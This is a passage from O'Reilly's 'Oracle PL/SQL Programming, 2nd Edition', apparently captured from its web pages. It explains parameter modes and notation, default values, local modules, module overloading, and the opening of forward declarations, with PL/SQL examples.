  • The number of parameters. Too few parameters can limit the reusability of your program. Too many parameters, and no one will want to reuse your program.

  • The types of parameters. Should you use read-only, write-only, or read-write parameters?

  • The names of parameters. How should you name your parameters so that their purpose in a module is properly and easily understood?

  • Default values for parameters. How do you set defaults? When should a parameter be given defaults and when should the programmer be forced to enter a value?

PL/SQL offers many different features to help you design parameters effectively. This section covers all elements of parameter definition. Chapter 22, Code Design Tips, offers a number of tips for designing your parameters for maximum readability and code reusability.

15.6.1 Defining the Parameters

Formal parameters are defined in the parameter list of the program. A parameter definition parallels closely the syntax for declaring variables in the declaration section of a PL/SQL block. There is one important distinction: a parameter declaration must be unconstrained.

A constrained declaration is one that constrains or limits the kind of value that can be assigned to a variable declared with that datatype. An unconstrained declaration is one that does not limit values in this way. The following declaration of the variable company_name constrains the variable to 60 characters:

DECLARE
   company_name VARCHAR2(60);
BEGIN

When you declare a parameter, however, you must leave out the constraining part of the declaration:

PROCEDURE display_company (company_name IN VARCHAR2) IS ...

15.6.1.1 %TYPE and %ROWTYPE

You can use the %TYPE and %ROWTYPE anchoring attributes in the parameter list, even if the %TYPE references a constrained declaration somewhere back along the line, as in a CREATE TABLE statement. The following parameter list will compile just fine:

PROCEDURE fun_and_games (ride_id_in IN rides.ride_id%TYPE)

If you are using PL/SQL Version 2, you can also declare parameters as PL/SQL tables through use of the TABLE type statement, as shown in this example:

PACKAGE pet_hotel
IS
   /* Define a table type and declare a table */
   TYPE breeds_type IS
      TABLE OF breed.breed_name%TYPE INDEX BY BINARY_INTEGER;
   TYPE avail_rooms_type IS
      TABLE OF room.room_number%TYPE INDEX BY BINARY_INTEGER;

   /* Specification of function which takes a table argument */
   FUNCTION room_by_breeds (breed_table_in IN breeds_type)
      RETURN avail_rooms_type;
END;

The %TYPE and %ROWTYPE attributes are allowed for parameters because both result in unconstrained declarations. The actual sizes of the parameters depend on the structures of the tables and columns to which the attributes point. This size is resolved only at compilation time.

15.6.2 Parameter Modes

When you define the parameter you also specify the way in which the parameter can be used. There are three different modes of parameters:

The mode determines how the program can use and manipulate the value assigned to the formal parameter. You specify the mode of the parameter immediately after the parameter name and before the parameter's datatype and optional default value. The following procedure header uses all three modes of parameters:

PROCEDURE predict_activity
   (last_date_in IN DATE,
    task_desc_inout IN OUT VARCHAR2,
    next_date_out OUT DATE)

The predict_activity procedure takes in two pieces of information: the date of the last activity and a description of the activity. It then returns or sends out two pieces of information: a possibly modified task description and the date of the next activity. Because the task_desc_inout parameter is IN OUT, the program can both read the value of the argument and change the value of that argument.

Let's look at each of these parameter modes in detail.

15.6.2.1 IN mode

The IN parameter allows you to pass values in to the module, but will not pass anything out of the module and back to the calling PL/SQL block. In other words, for the purposes of the program, its IN parameters function like constants. Just like constants, the value of the formal IN parameter cannot be changed within the program. You cannot assign values to the IN parameter or in any other way modify its value.

IN is the default mode for parameters. If you do not specify a parameter mode, then the parameter is automatically considered an IN parameter. I recommend, however, that you always specify a parameter mode with your parameters. Your intended use of the parameter is then documented explicitly in the code itself.

IN parameters can be given default values in the program header (see Section 15.6.5, "Default Values").

The actual parameter for an IN parameter can be a variable, a named constant, a literal, or an expression. All of the following calls to display_title are valid:

DECLARE
   happy_title CONSTANT VARCHAR2(30)    := 'HAPPY BIRTHDAY';
   changing_title VARCHAR2(30) := 'Happy Anniversary';
   spc VARCHAR2(1) := ' ';
BEGIN
   display_title ('Happy Birthday');             -- a literal
   display_title (happy_title);                  -- a constant

   changing_title := happy_title;

   display_title (changing_title);               -- a variable
   display_title ('Happy' || spc || 'Birthday'); -- an expression
   display_title (INITCAP (happy_title));        -- another expression
END;

What if you want to transfer data out of your program? For that, you will need an OUT or an IN OUT parameter.

15.6.2.2 OUT mode

An OUT parameter is the opposite of the IN parameter, but I suppose you already had that figured out. Use the OUT parameter to pass a value back from the program to the calling PL/SQL block. An OUT parameter is like the return value for a function, but it appears in the parameter list and you can, of course, have as many OUT parameters as you like.

Inside the program, an OUT parameter acts like a variable that has not been initialized. In fact, the OUT parameter has no value at all until the program terminates successfully (without raising an exception, that is). During the execution of the program, any assignments to an OUT parameter are actually made to an internal copy of the OUT parameter. When the program terminates successfully and returns control to the calling block, the value in that local copy is then transferred to the actual OUT parameter. That value is then available in the calling PL/SQL block.

There are several consquences of these rules concerning OUT parameters:

  • You cannot assign an OUT parameter's value to another variable or even use it in a re-assignment to itself. An OUT parameter can be found only on the left side of an assignment operation.

  • You also cannot provide a default value to an OUT parameter. You can only assign a value to an OUT parameter inside the body of the module.

  • Any assignments made to OUT parameters are rolled back when an exception is raised in the program. Because the value for an OUT parameter is not actually assigned until a program completes successfully, any intermediate assignments to OUT parameters are therefore ignored. Unless an exception handler traps the exception and then assigns a value to the OUT parameter, no assignment is made to that parameter. The variable will retain the same value it had before the program was called.

  • An OUT actual parameter has to be a variable. It cannot be a constant, literal, or expression, since these formats do not provide a receptacle in which PL/SQL can place the OUTgoing value.

OUT parameters are very restrictive in how they can and should be used. These restrictions place more of a burden on the programmer to understand the parameter modes and their impact. On the other hand, the OUT parameter provides a level of security and a narrowing of functionality which, when appropriate, is invaluable.

15.6.2.3 The IN OUT mode

With an IN OUT parameter, you can pass values into the program and return a value back to the calling program (either the original, unchanged value or a new value set within the program). The IN OUT parameter shares two restrictions with the OUT parameter:

  1. An IN OUT parameter cannot have a default value.

  2. An IN OUT actual parameter or argument must be a variable. It cannot be a constant, literal, or expression, since these formats do not provide a receptacle in which PL/SQL can place the outgoing value.

Beyond these restrictions, none of the other restrictions apply.

You can use the IN OUT parameter in both sides of an assignment, because it functions like an initialized, rather than uninitialized, variable. PL/SQL does not lose the value of an IN OUT parameter when it begins execution of the program. Instead, it uses that value as necessary within the program.

The combine_and_format_names procedure shown here combines the first and last names into a full name in the format specified ("LAST, FIRST" or "FIRST LAST"). It uses all three different modes of parameters: IN, IN OUT, and OUT.

PROCEDURE combine_and_format_names
   (first_name_inout IN OUT VARCHAR2,
    last_name_inout IN OUT VARCHAR2,
    full_name_out OUT VARCHAR2,
    name_format_in IN VARCHAR2 := 'LAST, FIRST')
IS
BEGIN
   /* Upper-case the first and last names. */
   first_name_inout := UPPER (first_name_inout);
   last_name_inout := UPPER (last_name_inout);

   /* Combine the names as directed by the name format string. */
   IF name_format_in = 'LAST, FIRST'
   THEN
      full_name_out := last_name_inout || ', ' || first_name_inout;

   ELSIF name_format_in = 'FIRST LAST'
   THEN
      full_name_out := first_name_inout || ' ' || last_name_inout;
   END IF;
END;

The first name and last name parameters must be IN OUT. I need the incoming names for the combine action, and I will uppercase the first and last names for future use in the program (thereby enforcing the application standard of all uppercase for names of people and things).

The full_name_out is just an OUT parameter because I create the full name from its parts. If the actual parameter used to receive the full name has a value going into the procedure, I certainly don't want to use it! Finally, the name_format_in parameter is a mere IN parameter since it is used to determine how to format the full name, but is not changed or changeable in any way.

Each parameter mode has its own characteristics and purpose. You should choose carefully which mode to apply to each of your parameters so that the parameter is used properly within the module.

15.6.3 Actual and Formal Parameters

When we talk about parameters, we need to distinguish between two different kinds of parameters: actual and formal parameters. The formal parameters are the names that are declared in the parameter list of the header of a module. The actual parameters are the values or expressions placed in the parameter list of the actual call to the module.

Let's examine the differences between actual and formal parameters using the example of tot_sales. Here, again, is tot_sales' header:

FUNCTION tot_sales
   (company_id_in IN company.company_id%TYPE,
    status_in IN order.status_code%TYPE := NULL)
RETURN std_types.dollar_amount;

The formal parameters of tot_sales are:

company_id_in

The primary key of the company

status_in

The status of the orders to be included in the sales calculation

They do not exist outside of the function. You can think of them as place holders for real or actual parameter values that are passed into the function when it is used in a program.

When you use tot_sales in your code, the formal parameters disappear. In their place you list the actual parameters or variables, whose values will be passed to tot_sales. In the following example, the company_id variable contains the primary key pointing to a company record. In the first three calls to tot_sales a different, hardcoded status is passed to the function. The last call to tot_sales does not specify a status; in this case the function assigns the default value (provided in the function header) to the status_in parameter:

new_sales      := tot_sales (company_id, 'N');
paid_sales     := tot_sales (company_id, 'P');
shipped_sales  := tot_sales (company_id, 'S');
all_sales      := tot_sales (company_id);

When tot_sales is called, all the actual parameters are evaluated. The results of the evaluations are then assigned to the formal parameters inside the function to which they correspond.

The actual parameters must be evaluated because they can be expressions, as well as pointers, to non-PL/SQL objects such as bind variables in the development tool.

The formal parameter and the actual parameter that corresponds to the formal parameter (when called) must be of the same or compatible datatypes. PL/SQL will perform datatype conversions for you in many situations. Generally, however, you are better off avoiding all implicit datatype conversions so you are sure of what is happening in your code. Use a formal conversion function like TO_CHAR or TO_DATE (see Chapter 14, Conversion Functions), so you know exactly what kind of data you are passing into your modules.

15.6.4 Matching Actual and Formal Parameters in PL/SQL

How does PL/SQL know which actual parameter goes with which formal parameter when a program is executed? PL/SQL actually offers you two different ways to make the association:

Positional notation

Associate the actual parameter implicitly (by position) with the formal parameter.

Named notation

Associate an actual parameter explicitly (by name) with the formal parameter.

15.6.4.1 Positional notation

In every example you've seen so far, I have employed positional notation in order to guide PL/SQL through the parameters. With positional notation, PL/SQL relies on the relative positions of the parameters to make the correspondence. PL/SQL associates the nth actual parameter in the call to a program with the nth formal parameter in the program's header.

With the tot_sales example shown below, PL/SQL associates the first actual parameter, :order.company_id, with the first formal parameter, company_id_in. It then associates the second actual parameter, N, with the second format parameter, status_in:

new_sales := tot_sales (:order.company_id, 'N');

FUNCTION tot_sales
   (company_id_in IN company.company_id%TYPE,
    status_in IN order.status_code%TYPE := NULL)
RETURN std_types.dollar_amount;

Now you know the name for the way compilers pass values through parameters to modules. Positional notation, shown graphically in Figure 15.11, is certainly the most obvious method.

Figure 15.11: Matching actual with formal parameters (positional notation)

15.6.4.2 Named notation

With named notation, you explicitly associate the formal parameter (the name of the parameter) with the actual parameter (the value of the parameter), right in the call to the program, using the combination symbol =>.

The general syntax for named notation is:

formal_parameter_name => argument_value

Because you provide explicitly the name of the formal parameter, PL/SQL no longer needs to rely on the order of the parameters to make the association from actual to formal. So, if you use named notation, you do not need to list the parameters in your call to the program in the same order as the formal parameters are listed in the header. I can call tot_sales for new orders in either of these two ways:

new_sales :=
   tot_sales (company_id_in => :order.company_id, status_in =>'N');

new_sales :=
   tot_sales (status_in =>'N', company_id_in => :order.company_id);

You can also mix named and positional notation in the same program call:

:order.new_sales := tot_sales (:order.company_id, status_in =>'N');

If you do mix notation, however, you must list all of your positional parameters before any named notation parameters, as shown in the preceding example. Positional notation has to have a starting point from which to keep track of positions, and the only starting point is the first parameter. If you place named notation parameters in front of positional notation, PL/SQL loses its place. Both of the calls to tot_sales, shown below, fail. The first statement fails because the named notation comes first. The second fails because positional notation is used, but the parameters are in the wrong order. PL/SQL will try to convert `N' to a NUMBER (for company_id):

:order.new_sales := tot_sales (company_id_in => :order.company_id, 'N');

:order.new_sales := tot_sales ('N', company_id_in => :order.company_id);

15.6.4.3 Benefits of named notation

Now you are aware of different ways to notate the order and association of parameters. One obvious question that you might ask is why you would ever use named notation. Here are some possibilities:

  • Named notation is self-documenting. When you use named notation, the call to the program clearly describes the formal parameter to which the actual parameter is assigned. The names of formal parameters can and should be designed so that their use/purpose is self-explanatory. In a way, the descriptive aspect of named notation is another form of program documentation. If you are not familiar with all the modules called by an application, the listing of the formal parameters helps reinforce your understanding of a particular program call. In some development environments, the standard for parameter notation is named notation for just this reason.

  • Named notation gives you complete flexibility over parameter specification. You can list the parameters in any order you want. You can also include only the parameters you want or need in the parameter list. Complex applications may at times require procedures with literally dozens of parameters. Any parameter with a default value can be left out of the call to the procedure. By using named notation, the developer can use the procedure, passing only the values needed for that usage.

Remember that whether you use named or positional notation, the actual module (both header and body) remains unchanged. The only difference is in the way the module is called.

15.6.5 Default Values

As you have seen from previous examples, you can provide a default value for IN parameters. If an IN parameter has a default value, you do not need to include that parameter in the call to the program. You must, of course, include an actual parameter for any IN OUT parameters, even if they have default values. A parameter's default value is used by the program only if the call to that program does not include that parameter in the list.

The parameter default value works the same way as a specification of a default value for a declared variable. There are two ways to specify a default value: either with the keyword DEFAULT or with the assignment operator (:=), as the following example illustrates:

PROCEDURE astrology_reading
   (sign_in IN VARCHAR2 := 'LIBRA',
    birth_time_in IN NUMBER DEFAULT 800) IS

By using default values, you can call programs using different numbers of actual parameters. The program uses the default value of any unspecified parameters. It also overrides the default values of any parameters in the list that have default values. Here are all the different ways you can ask for your astrology reading using positional notation:

astrology_reading ('SCORPIO', 1756);
astrology_reading ('SCORPIO');
astrology_reading;

The first line specifies both parameters explicitly. In the second call to astrology_reading, only the first actual parameter is included, so birth_time_in is set to 8:00 A.M. In the third line, no parameters are specified, so we cannot include the parentheses. Both the default values are used in the body of the procedure.

What if you want to specify a birth time, but not a sign? The following call to astrology_reading compiles properly since PL/SQL will convert NUMBER to VARCHAR2 automatically, but it results in assigning the string "1756" to the sign, and 8:00 A.M. to the birth time:

astrology_reading (1756);

Not exactly what you might have had in mind! You also cannot use a comma ( , ) to indicate a placeholder, as in, "There should be a parameter here so use the default value!" This next call does not even compile:

astrology_reading (,1756); -- Invalid skipped argument

If you wish to leave out leading and defaulted parameters from your program call, you need to switch to named notation. By including the name of the formal parameter, you can list only those parameters to which you need to pass (or retrieve) values. In this (thankfully) last request for a star-based reading of my fate, I have successfully passed in a default of Libra as my sign and an overridden birth time of 5:56 P.M.

astrology_reading (birth_time_in => 1756);

Previous: 15.5 Functions | Oracle PL/SQL Programming, 2nd Edition | Next: 15.7 Local Modules
15.5 Functions | Book Index | 15.7 Local Modules
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.7 Local Modules

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

15.7 Local Modules

A local module is a procedure or function that is defined in the declaration section of a PL/SQL block (anonymous or named). This module is considered local because it is only defined within the parent PL/SQL block. It cannot be called by any other PL/SQL blocks defined outside of that enclosing block.

The syntax for defining the procedure or function is exactly the same as that used for creating standalone modules.

The following anonymous block, for example, declares a local procedure:

DECLARE
   PROCEDURE show_date (date_in IN DATE) IS
   BEGIN
      DBMS_OUTPUT.PUT_LINE (TO_CHAR (date_in, 'Month DD, YYYY');
   END;
BEGIN
   ...
END;

Local modules must be located after all of the other declaration statements in the declaration section. You must declare your variables, cursors, exceptions, types, records, tables, and so on, before you type in the first PROCEDURE or FUNCTION keyword.

You can define both procedures and functions in the declaration section of any kind of PL/SQL block, be it anonymous, procedure, or function. You may not, however, define anonymous blocks (how would you call them?) or packages (maybe in a future release) in a declaration section.

The rest of this section explores the benefits of local modules and offers a number of examples.

15.7.1 Benefits of Local Modularization

There are two central reasons to create local modules:

  • Reduce the size of the module by stripping it of repetitive code. This is the most common motivation to create a local module. You can see the impact by the next example. The code reduction leads to higher code quality because you have fewer lines to test and fewer potential bugs. It takes less effort to maintain the code, because there is less to maintain. When you do have to make a change, you make it in one place in the local module and the effects are felt immediately throughout the parent module.

  • Improve the readability of your code. Even if you do not repeat sections of code within a module, you still may want to pull out a set of related statements and package them into a local module to make it easier to follow the logic of the main body of the parent module.

15.7.2 Reducing Code Volume

Let's take a look at an example. The calc_percentages procedure takes numeric values from the sales package (sales_pkg), calculates the percentage of each sales amount against the total sales provided as a parameter, and then formats the number for display in a report or form. The example you see here has only three calculations, but I extracted it from a production application that actually performed 23 of these computations!

PROCEDURE calc_percentages (tot_sales_in IN NUMBER)
IS
BEGIN
   :profile.food_sales_stg :=
      TO_CHAR ((sales_pkg.food_sales / tot_sales_in ) * 100,
               '$999,999');
   :profile.service_sales_stg :=
      TO_CHAR ((sales_pkg.service_sales / tot_sales_in ) * 100,
               '$999,999');
   :profile.toy_sales_stg :=
      TO_CHAR ((sales_pkg.toy_sales / tot_sales_in ) * 100,
               '$999,999');
END;

This code took a long time (relatively speaking) to write, is larger in code size than necessary, and is maintenance-intensive. What if I need to change the format to which I convert the numbers? What if the calculation of the percentage changes? I have to change each of the individual calculations.

With local modules, I can concentrate all the common, repeated code into a single function, which is then called repeatedly in calc_percentages. The local module version of this procedure is shown below:

PROCEDURE calc_percentages (tot_sales_in IN NUMBER)
IS
   /* Define a function right inside the procedure! */
   FUNCTION char_format (val_in IN NUMBER) RETURN VARCHAR2
   IS
   BEGIN
      RETURN TO_CHAR ((val_in/tot_sales_in ) * 100, '$999,999');
   END;
BEGIN
   :profile.food_sales_stg := char_format (sales_pkg.food_sales);
   :profile.service_sales_stg := char_format (sales_pkg.service_sales);
   :profile.toy_sales_stg := char_format (sales_pkg.toy_sales);
END;

All the complexities of the calculation, from the division by tot_sales_in to the multiplication by 100 to the formatting with TO_CHAR, have been transferred to the function, pct_stg. This function is defined in the declaration section of the procedure. By calling this function from within the body of calc_percentages, the executable statements of the procedure are much more readable and maintainable. Now, if the formula for the calculation changes in any way, I make the change just once in the function and it takes effect in all the assignments.

15.7.3 Improving Readability

Suppose I have a series of WHILE loops (some nested) whose bodies contain a series of complex calculations and deep nestings of conditional logic. Even with extensive commenting, it can be difficult for a person to follow the program flow over several pages, particularly when the END IF or END LOOP of a given construct is not even on the same page as the IF or LOOP statement that began the construct.

If you pull out sequences of related statements, place them in one or more local modules, and then call those modules in the body of the program, the result is a program that can literally document itself. The assign_workload procedure offers a simplified version of this scenario, which still makes clear the gains offered by local modules:

PROCEDURE assign_workload (department_in IN NUMBER)
IS
   /* Declare local variables first. */
   avg_workload NUMBER;
   case_number  NUMBER;

   /*-----------------------Local Modules--------------------------*/

   /* Define all the major tasks for workload assignment. */
   PROCEDURE assign_next_open_case
      (employee_id_in IN NUMBER, case_out OUT NUMBER)
   IS BEGIN ... END;

   FUNCTION average_cases (department_id_in IN NUMBER) RETURN NUMBER
   IS BEGIN ... END;

   FUNCTION caseload (employee_id_in IN NUMBER) RETURN NUMBER
   IS BEGIN ... END;

   FUNCTION next_appointment (case_id_in IN NUMBER) RETURN DATE
   IS BEGIN ... END;

   PROCEDURE schedule_case
      (employee_id_in IN NUMBER, case_in IN NUMBER, date_in IN DATE)
   IS BEGIN ... END;
/*
|| Now the execution section of assign_workload:
*/
BEGIN
   avg_workload := average_cases (department_in);
   FOR emp_rec IN (SELECT employee_id
                     FROM employee
                    WHERE department_id = department_in)
   LOOP
      /* If workload below average, assign next open case. */
      IF caseload (emp_rec.employee_id) < avg_workload
      THEN
         assign_next_open_case (emp_rec.employee_id, case_number);
         schedule_case (emp_rec.employee_id,
                        case_number,
                        next_appointment (case_number));
      END IF;
   END LOOP
END assign_workload;

The assign-workload procedure has five local modules:

assign_next_open_case
average_cases
caseload
next_appointment
schedule_case

For the purposes of understanding the logic behind assign_workload, it doesn't really matter what code is executed in each of them. I can rely simply on the names of those modules to read through the main body of this program. Even without any comments, a reader can still gain a clear understanding of what each module is doing. Of course, if you want to rely on named objects to self-document your code, you'd better come up with very good names for the functions and procedures.

15.7.4 Bottom-Up Reading

Although it is not evident from the preceding example, one drawback of the extensive use of local modules is that the execution section of the program is pushed all the way to the bottom of the module's body. Most programmers are used to scanning a program's code from top to bottom. In trying to understand code with local modules, you should move to the execution section of the parent module and read that first to gain an understanding of the big picture. You can then move back up to dive into the details of the local module.

15.7.5 Scope of Local Modules

This modularized declaration section looks a lot like the body of a package, as you will see in Chapter 16. A package body also contains definitions of modules. The big difference between local modules and package modules is their scope: local modules can be called only from within the block in which they are defined. Package modules can -- at a minimum -- be called from anywhere in the package. If those modules are also listed in the package specification, they can be called by any other program in your application.

You should use local modules only to encapsulate code that does not need to be called outside of the current program. Otherwise, go ahead and create a package!

15.7.6 Spruce Up Your Code with Local Modules!

These days it seems that whenever I write a program with more than 20 lines, and with any complexity whatsoever, I end up creating several local modules. It helps me see my way through to a solution much more easily. I can conceptualize my code at a higher level of abstraction by assigning a name to a whole sequence of statements. I can perform top-down design and stepwise refinement of my requirements. Finally, by modularizing my code even within a single program, I make it very easy, if the need arises, to later extract a local module and make it a truly independent, reusable procedure or function.

I hope that as you read this, a program you have written (or one with which you are currently wrestling) comes to mind. Perhaps, you are thinking, you can go back and consolidate some repetitive code, clean up the logic, make the program actually understandable to another human being. Don't fight the urge. Go ahead and modularize your code.

Previous: 15.6 Parameters | Oracle PL/SQL Programming, 2nd Edition | Next: 15.8 Module Overloading
15.6 Parameters | Book Index | 15.8 Module Overloading
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.8 Module Overloading

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

15.8 Module Overloading

Two or more modules can, under certain conditions, have the same name with different parameter lists. Such modules are said to be overloaded. The code in these overloaded programs can be very similar or can be completely different. Here is an example of two overloaded modules defined in the declaration section of an anonymous block (both are local modules):

DECLARE
   /* First version takes a DATE parameter. */
   FUNCTION value_ok (date_in IN DATE) RETURN BOOLEAN
   IS
   BEGIN
      RETURN date_in <= SYSDATE;
   END;

   /* Second version takes a NUMBER parameter. */
   FUNCTION value_ok (number_in IN NUMBER) RETURN BOOLEAN
   IS
   BEGIN
      RETURN number_in > 0;
   END;
BEGIN

When the PL/SQL run-time engine encounters the following statement:

IF value_ok (SYSDATE) THEN ...

the compile compares the actual parameter against the different parameter lists for the overloaded modules. It then executes the code in the body of the program with the matching header.

15.8.1 Overloading in PL/SQL Built-Ins

PL/SQL itself makes extensive use of overloading, as do various development tools such as Oracle Forms. An example of an overloaded program in PL/SQL is the TO_CHAR function. Module overloading allows developers to use a single function to convert both numbers and dates to character format:

date_string := TO_CHAR (SYSDATE, 'MMDDYY');
number_string := TO_CHAR (10000);

If overloading was not supported in PL/SQL (TO_CHAR is a function in the STANDARD package), then two different functions would be required to support conversions to character format. They might look and work as follows:

date_string := TO_CHAR_FROM_DATE (SYSDATE, 'MMDDYY');
number_string := TO_CHAR_FROM_NUMBER (10000);

You probably just always took it for granted that TO_CHAR automatically detects the difference in the argument (date versus number) and "does the right thing." There's nothing wrong with that. We should take an awful lot for granted in our hardware and software. (In fact, I think that our computers and software should function in more intelligent ways than they do today.) Coming back to the matter of overloading, however, PL/SQL actually examines the value you pass to TO_CHAR. Based on the datatype of this value, it executes the appropriate TO_CHAR function.

There are, in other words, two different TO_CHAR functions defined in PL/SQL. Module overloading simply makes this fact transparent to developers. Fortunately, this is a feature that is available to developers as well as to the people who brought you PL/SQL. You, too, can overload!

15.8.2 Benefits of Overloading

Overloading can greatly simplify your life and the lives of other developers. This technique consolidates the call interfaces for many similar programs into a single module name. This process transfers the burden of knowledge from the developer to the software. You do not have to try to remember, for instance, the six different names for programs adding values (dates, strings, Booleans, numbers, etc.) to various PL/SQL tables. Instead, you simply tell the compiler that you want to add and pass it the value you want added. PL/SQL and your overloaded programs figure out what you want to do and they do it for you.

When you build overloaded modules, you spend more time in design and implementation than you might with separate, standalone modules. This additional up-front time will be repaid handsomely down the line. You and others will find that it is easier and more efficient to use your programs.

You will find many examples of how overloading is used in Chapter 16.

15.8.3 Where to Overload Modules

There are only two places in PL/SQL programs where you can overload modules:

  • Inside the declaration section of a PL/SQL block

  • Inside a package

You cannot, in other words, overload the names of standalone programs, nor can you create two completely independent modules with the same name but different parameter lists. For example if you attempt from SQL*Plus to "create or replace" the following two versions of chg_estimate, the second try will fail, as shown below:

CREATE OR REPLACE PROCEDURE chg_estimate (date_in IN DATE) IS
BEGIN
   ...
END chg_estimate;
/

Procedure created.

CREATE OR REPLACE FUNCTION chg_estimate (dollars_in IN NUMBER)
RETURN NUMBER
IS
BEGIN
   ...
END chg_estimate;

ORA-0955: name is already used by an existing object

Because the name was already used for a procedure, PL/SQL rejected the attempt to replace it with a function. The compiler would not interpret this second "create or replace" as an effort to create a second module of the same name.

Modules must be overloaded within a particular context. A PL/SQL block provides a scope: anything declared in its declaration section can only be accessed within the execution and exception sections. A PL/SQL package also provides a context for the overloaded modules.

15.8.4 Restrictions on Overloading

There are several restrictions on how you can overload programs. When the PL/SQL engine compiles and runs your program, it has to be able to distinguish between the different overloaded versions of a program; after all, it can't run two different modules at the same time. So when you compile your code, PL/SQL will reject any improperly overloaded modules. It cannot distinguish between the modules by their name, because by definition that is the same in all overloaded programs. Instead, PL/SQL uses the parameter lists of these sibling programs to determine which one to execute. As a result, the following restrictions apply to overloaded programs.

The datatype family of at least one of the parameters of overloaded programs must differ. INTEGER, REAL, DECIMAL, FLOAT, etc., are NUMBER subtypes. CHAR, VARCHAR2, and LONG are character subtypes. If the parameters differ only by datatype within the supertype or family of datatypes, PL/SQL does not have enough information with which to determine the appropriate program to execute. As a result, the following programs cannot be overloaded:

FUNCTION calculate_net_profit (revenue_in IN POSITIVE)
RETURN NUMBER IS
BEGIN
   ...
END calculate_net_profit;

FUNCTION calculate_net_profit (revenue_in IN BINARY_INTEGER)
RETURN NUMBER IS
BEGIN
   ...
END calculate_net_profit;

Nor can these programs be successfully overloaded, since CHAR and VARCHAR2 are both character datatypes:

PROCEDURE trim_and_center (string_in IN CHAR) IS
BEGIN
   ...
END;

PROCEDURE trim_and_center (string_in IN VARCHAR2) IS
BEGIN
   ...
END;

Another way of looking at this rule for users of PL/SQL Release 2.1 is that two programs cannot be overloaded if their formal parameters differ only by their subtypes and if those subtypes are based on the same datatype. This was already illustrated in the last example: POSITIVE is a subtype of BINARY_INTEGER.

With PL/SQL Release 2.1 (and beyond) you can now create your own subtypes, and the same rules apply for these subtypes as for the predefined subtypes. If you have declared the following subtypes:

SUBTYPE line_text_type IS LONG;
SUBTYPE atomic_type IS VARCHAR2;
SUBTYPE word_separator_type IS VARCHAR2;

then the following attempt at overloading will fail:

PROCEDURE count_occurrences
   (line_in line_text_type, fragment_in atomic_type);
PROCEDURE count_occurrences
   (line_in line_text_type, between_in word_separator_type);

because atomic_type and word_separator_type are two programmer-defined subtypes that share the same base datatype.

Overloaded programs with parameter lists which differ only by name must be called using named notation. If you don't use the name of the argument, how could the compiler distinguish between calls to the following two overloaded programs?

FUNCTION calculate_net_profit (revenue_in IN NUMBER)
RETURN NUMBER IS
BEGIN
   ...
END calculate_net_profit;

FUNCTION calculate_net_profit (total_revenue_in IN NUMBER)
RETURN NUMBER IS
BEGIN
   ...
END calculate_net_profit;

The only way to direct PL/SQL to the right version of calculate_net_profit is to explicitly identify the version as shown below:

calculate_net_profit (revenue_in => 197890);

The parameter list of overloaded programs must differ by more than parameter mode. Even if a parameter in one version is IN and that same parameter is IN OUT in another version, PL/SQL cannot tell the difference at the point in which the program is called. Suppose you overload the trim_and_center procedure as follows:

PROCEDURE trim_and_center (string_in IN VARCHAR2) IS
BEGIN
   ...
END;

PROCEDURE trim_and_center (string_in IN OUT VARCHAR2) IS
BEGIN
   ...
END;

How, then, could the compiler know which of trim_and_center to execute when it encounters this line of code?

trim_and_center ('ABC');

Overloaded functions must differ by more than their return type (the datatype specified in the RETURN clause of the function). At the time that the overloaded function is called, the compiler doesn't know what type of data that function will return. The compiler cannot, therefore, determine which version of the function to use if all the parameters are the same. The following attempt at overloading will fail once again with the PLS-00307 error:

FUNCTION calculate_net_profit (revenue_in IN NUMBER)
RETURN NUMBER IS -- How much did we make?
BEGIN
   ...
END calculate_net_profit;

FUNCTION calculate_net_profit (revenue_in IN NUMBER)
RETURN BOOLEAN IS -- Bankrupt or not?
BEGIN
   ...
END calculate_net_profit;

All of the overloaded programs must be defined within the same PL/SQL scope or block (anonymous block, module, or package). You cannot define one version in one block (scope level) and define another version in a different block. In the following example, I first define a chg_estimate procedure with a date parameter in the develop_analysis module. Then I define a chg_estimate procedure with a numeric parameter in the anonymous block in the body of develop_analysis:

PROCEDURE develop_analysis (quarter_end_in IN DATE, sales_in IN NUMBER)
IS
   PROCEDURE chg_estimate (date_in IN DATE) IS BEGIN ... END;
BEGIN
   DECLARE
      PROCEDURE chg_estimate
         (dollars_in IN NUMBER) IS BEGIN ... END;
   BEGIN
      chg_estimate (quarter_end_in);
      chg_estimate (dollars_in);
   END;
END develop_analysis;

When I try to compile this code I get the following error:

Error in line 8/column 3:
PLS-00306: wrong number or type of arguments in call to 'CHG_ESTIMATE'

Why do I get this error? I call chg_estimate with a date parameter (quarter_end_in) and it is defined in the declaration section of develop_analysis with a date parameter. I will answer this question ("Why do I get this error?") with another question: are these two procedures overloaded? The answer is no! Because they are defined in different PL/SQL blocks, they have a different scope and visibility. The scope of the date chg_estimate is the entire body of develop_analysis. The scope of the numeric chg_estimate is the anonymous block only, and it takes precedence over the date chg_estimate. There is no overloading going on here.

Previous: 15.7 Local Modules | Oracle PL/SQL Programming, 2nd Edition | Next: 15.9 Forward Declarations
15.7 Local Modules | Book Index | 15.9 Forward Declarations
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.9 Forward Declarations

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

15.9 Forward Declarations

PL/SQL is rather fussy about its requirement that you declare a variable, cursor, or module before you use it in your code. Otherwise, how can PL/SQL be sure that the way you are using the object is appropriate? Since modules can call other modules, however, you can encounter situations where it is completely impossible to define all modules before any references to those modules are made. What if program A calls program B and program B calls program A? PL/SQL supports mutual recursion, where two or more programs directly or indirectly call each other.

